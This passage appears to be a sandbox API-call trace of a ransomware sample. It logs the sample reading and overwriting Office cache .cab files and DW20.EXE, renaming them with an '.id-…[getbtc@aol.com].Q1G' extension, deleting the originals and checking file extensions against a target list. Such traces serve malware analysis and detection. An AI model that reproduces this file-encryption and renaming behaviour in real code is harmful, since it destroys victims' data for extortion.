lpOverlapped=0x0) returned 1 [0052.292] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.294] ReadFile (in: hFile=0x19c, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.297] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.297] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.297] ReadFile (in: hFile=0x19c, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.313] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.313] WriteFile (in: hFile=0x19c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0052.561] SetEndOfFile (hFile=0x19c) returned 1 [0052.805] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0052.809] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.809] WriteFile (in: hFile=0x19c, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.810] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.810] WriteFile (in: hFile=0x19c, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.811] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.811] WriteFile (in: hFile=0x19c, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.813] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0052.813] CloseHandle (hObject=0x19c) returned 1 [0052.813] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0052.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.814] lstrlenW (lpString=".doc") returned 4 [0052.814] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.814] lstrlenW (lpString=".docx") returned 5 [0052.814] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.814] lstrlenW (lpString=".pdf") returned 4 [0052.814] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.814] lstrlenW (lpString=".xls") returned 4 [0052.814] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.814] lstrlenW (lpString=".xlsx") returned 5 [0052.814] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.814] lstrlenW (lpString=".ppt") returned 4 [0052.814] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.814] lstrlenW (lpString=".zip") returned 4 [0052.814] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.814] lstrlenW (lpString=".rar") returned 4 [0052.814] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.814] lstrlenW (lpString=".bz2") returned 4 [0052.814] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.814] lstrlenW (lpString=".7z") returned 3 [0052.814] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.815] lstrlenW (lpString=".dbf") returned 4 [0052.815] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.815] lstrlenW (lpString=".1cd") returned 4 [0052.815] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.815] lstrlenW (lpString=".jpg") returned 4 [0052.815] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.815] lstrlenW (lpString=".doc") returned 4 [0052.815] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.815] lstrlenW (lpString=".docx") returned 5 [0052.815] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.815] lstrlenW (lpString=".pdf") returned 4 [0052.815] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.815] lstrlenW (lpString=".xls") returned 4 [0052.815] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.815] lstrlenW (lpString=".xlsx") returned 5 [0052.815] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.815] lstrlenW (lpString=".ppt") returned 4 [0052.815] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.815] lstrlenW (lpString=".zip") returned 4 [0052.815] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.815] lstrlenW (lpString=".rar") returned 4 [0052.815] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.815] lstrlenW (lpString=".bz2") returned 4 [0052.815] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.815] lstrlenW (lpString=".7z") returned 3 [0052.815] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.815] lstrlenW (lpString=".dbf") returned 4 [0052.816] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.816] lstrlenW (lpString=".1cd") returned 4 [0052.816] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.816] lstrlenW (lpString=".jpg") returned 4 [0052.816] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.816] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0052.816] lstrlenW (lpString="VisiorWW.cab") returned 12 [0052.816] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0053.743] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=195011319) returned 1 [0053.743] CloseHandle (hObject=0x160) returned 1 [0053.745] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0053.746] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0053.749] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0053.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0053.754] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0053.754] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0053.754] ReadFile (in: hFile=0x160, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.762] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0053.762] ReadFile (in: hFile=0x160, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.071] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.072] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.072] ReadFile (in: hFile=0x160, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.093] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.093] WriteFile (in: hFile=0x160, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0054.417] SetEndOfFile (hFile=0x160) returned 1 [0054.418] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f60010 [0054.421] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.421] WriteFile (in: hFile=0x160, lpBuffer=0x3f60010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f60010*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.422] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.422] WriteFile (in: hFile=0x160, lpBuffer=0x3f60010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f60010*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.424] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.424] WriteFile (in: hFile=0x160, lpBuffer=0x3f60010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f60010*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.425] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f60010 | out: hHeap=0x510000) returned 1 [0054.426] CloseHandle (hObject=0x160) returned 1 [0054.426] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0054.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.426] lstrlenW (lpString=".doc") returned 4 [0054.426] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.426] lstrlenW (lpString=".docx") returned 5 [0054.426] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0054.426] lstrlenW (lpString=".pdf") returned 4 [0054.426] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.426] lstrlenW (lpString=".xls") returned 4 [0054.426] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.426] lstrlenW (lpString=".xlsx") returned 5 [0054.426] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0054.426] lstrlenW (lpString=".ppt") returned 4 [0054.426] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.426] lstrlenW (lpString=".zip") returned 4 [0054.426] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.426] lstrlenW (lpString=".rar") returned 4 [0054.426] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.426] lstrlenW (lpString=".bz2") returned 4 [0054.426] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.426] lstrlenW (lpString=".7z") returned 3 [0054.426] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.426] lstrlenW (lpString=".dbf") returned 4 [0054.427] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.427] lstrlenW (lpString=".1cd") returned 4 [0054.427] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.427] lstrlenW (lpString=".jpg") returned 4 [0054.427] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.427] lstrlenW (lpString=".doc") returned 4 [0054.427] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.427] lstrlenW (lpString=".docx") returned 5 [0054.427] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0054.427] lstrlenW (lpString=".pdf") returned 4 [0054.427] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.427] lstrlenW (lpString=".xls") returned 4 [0054.427] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.427] lstrlenW (lpString=".xlsx") returned 5 [0054.427] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0054.427] lstrlenW (lpString=".ppt") returned 4 [0054.427] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.427] lstrlenW (lpString=".zip") returned 4 [0054.427] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.427] lstrlenW (lpString=".rar") returned 4 [0054.427] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.427] lstrlenW (lpString=".bz2") returned 4 [0054.427] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.427] lstrlenW (lpString=".7z") returned 3 [0054.427] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.427] lstrlenW (lpString=".dbf") returned 4 [0054.427] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.428] lstrlenW (lpString=".1cd") returned 4 [0054.428] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0054.428] lstrlenW (lpString=".jpg") returned 4 [0054.428] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.428] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0054.428] lstrlenW (lpString="DW20.EXE") returned 8 [0054.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.478] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=994184) returned 1 [0054.478] CloseHandle (hObject=0x198) returned 1 [0054.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0054.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.479] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.479] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0054.515] GetLastError () returned 0x0 [0054.515] ReadFile (in: hFile=0x198, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0054.542] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0054.895] ReadFile (in: hFile=0x198, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.895] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0054.895] SetEndOfFile (hFile=0x200) returned 1 [0054.895] CloseHandle (hObject=0x200) returned 1 [0054.896] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.896] SetEndOfFile (hFile=0x198) returned 1 [0054.903] CloseHandle (hObject=0x198) returned 1 [0054.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.903] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0054.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.903] lstrlenW (lpString=".doc") returned 4 [0054.903] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.903] lstrlenW (lpString=".docx") returned 5 [0054.903] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0054.903] lstrlenW (lpString=".pdf") returned 4 [0054.903] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.904] lstrlenW (lpString=".xls") returned 4 [0054.904] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.904] lstrlenW (lpString=".xlsx") returned 5 [0054.904] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0054.904] lstrlenW (lpString=".ppt") returned 4 [0054.904] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.904] lstrlenW (lpString=".zip") returned 4 [0054.904] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.904] lstrlenW (lpString=".rar") returned 4 [0054.904] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.904] lstrlenW (lpString=".bz2") returned 4 [0054.904] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.904] lstrlenW (lpString=".7z") returned 3 [0054.904] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.904] lstrlenW (lpString=".dbf") returned 4 [0054.904] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.904] lstrlenW (lpString=".1cd") returned 4 [0054.904] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.904] lstrlenW (lpString=".jpg") returned 4 [0054.904] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.904] lstrlenW (lpString=".doc") returned 4 [0054.904] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.904] lstrlenW (lpString=".docx") returned 5 [0054.904] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0054.904] lstrlenW (lpString=".pdf") returned 4 [0054.904] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.904] lstrlenW (lpString=".xls") returned 4 [0054.904] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.904] lstrlenW (lpString=".xlsx") returned 5 [0054.905] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0054.905] lstrlenW (lpString=".ppt") returned 4 [0054.905] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.905] lstrlenW (lpString=".zip") returned 4 [0054.905] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.905] lstrlenW (lpString=".rar") returned 4 [0054.905] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.905] lstrlenW (lpString=".bz2") returned 4 [0054.905] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.905] lstrlenW (lpString=".7z") returned 3 [0054.905] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.905] lstrlenW (lpString=".dbf") returned 4 [0054.905] lstrcmpiW (lpString1=".dbf", 